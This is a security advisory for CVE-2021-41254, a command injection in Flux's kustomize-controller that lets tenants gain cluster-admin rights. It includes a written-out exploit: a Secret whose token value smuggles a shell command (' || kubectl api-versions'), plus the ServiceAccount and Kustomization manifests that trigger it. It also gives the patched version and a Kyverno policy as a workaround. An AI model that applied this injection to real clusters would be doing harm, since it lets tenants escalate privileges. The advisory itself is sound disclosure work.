CVE-2021-41254

Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. ### Impact Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. ### Exploit To exploit the command injection, first we create a secret with a shell command: ```sh kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions" ``` Then we create a Service Account that refers to the above Secret: ```yaml apiVersion: v1 kind: ServiceAccount metadata: name: exploit namespace: default automountServiceAccountToken: false secrets: - name: exploit-token ``` And finally a Kustomization that runs under the above Service Account: ```yaml apiVersion: kustomize.toolkit.fluxcd.io/v1beta1 kind: Kustomization metadata: name: exploit namespace: default spec: interval: 5m path: "./deploy/" sourceRef: kind: GitRepository name: app serviceAccountName: exploit ``` When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret. ### Patches This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image. ### Workarounds To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used. ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: restrict-sa spec: validationFailureAction: enforce background: false rules: - name: validate-sa match: resources: kinds: - ServiceAccount namespaces: - tenant1 - tenant2 subjects: - kind: User name: some@tenant1.com - kind: User name: some@tenant2.com - kind: ServiceAccount name: kustomize-controller namespace: flux-system - kind: ServiceAccount name: helm-controller namespace: flux-system validate: message: "Invalid service account" pattern: X(secrets): "*?" ``` ### References Disclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF. ### For more information If you have any questions or comments about this advisory: * Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)

kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.

Privilege escalation to cluster admin on multi-tenant environments in github.com/fluxcd/kustomize-controller